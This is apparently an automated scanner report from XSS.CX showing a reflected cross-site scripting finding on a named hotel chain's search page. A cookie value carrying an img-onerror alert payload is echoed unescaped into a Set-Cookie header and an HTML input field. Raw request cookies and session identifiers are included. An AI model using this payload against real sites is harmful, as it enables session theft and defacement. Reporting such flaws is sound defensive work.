Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VSC=CBE450760211218D; MI_Visitor=-Yxkj-6JpG5apw3P4oIrndJ; IS3_History=0-0-0____; IS3_GSV=DPL-0_TES-1287875375_PCT-1287875375_GeoIP-*_GeoCo-_GeoRg-_GeoCt-_GeoNs-_GeoDm-; JSESSIONID=00002rXrJWJwoIhhUWavfvA46ep:14a0ig9tc; FormInfoCookie=|10/28/2010|null|null||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; ctcData=searchCount_0*resAmount_0*inByTomorrow_true*; fsr.s={"cp":{"TLSessionID":"foreseeJSessionId"},"v":1,"pv":3,"to":3.4,"c":"https://www.marriott.com/search/submitSearch.mi","lc":{"d1":{"v":3,"s":true,"e":1}},"cd":1,"sd":1,"f":1287875630201}; MI_SITE=prod1; s_pers=%20s_lv%3D1287875661027%7C1382483661027%3B%20s_lv_s%3DFirst%2520Visit%7C1287877461027%3B

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.23 Apache/2.0.47 (Unix) DAV/2
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=0000AH1gHq-ZZM6AjZr_5HhydeZ:14a0ig9tc; Path=/
Set-Cookie: MI_SITE=prod1;path=/
Set-Cookie: FormInfoCookie=10/28/2010|fe4ce"><img src=a onerror=alert(1)>56367060fec|null|null||||;; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Language: en-US
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVDo CONo HISa TELi OUR DELa BUS IND PHY ONL UNI PUR COM NAV INT DEM PRE"
Date: Mon, 25 Oct 2010 19:20:35 GMT
Connection: keep-alive
Content-Length: 163590


           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   

<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<input type="text" name="toDate" id="global-header-hotel-toDate" value="fe4ce"><img src=a onerror=alert(1)>56367060fec" maxlength="10" class="calendar-module-todate search-toDate" />
...[SNIP]...

Report generated by XSS.CX at Sat Nov 13 20:08:10 CST 2010.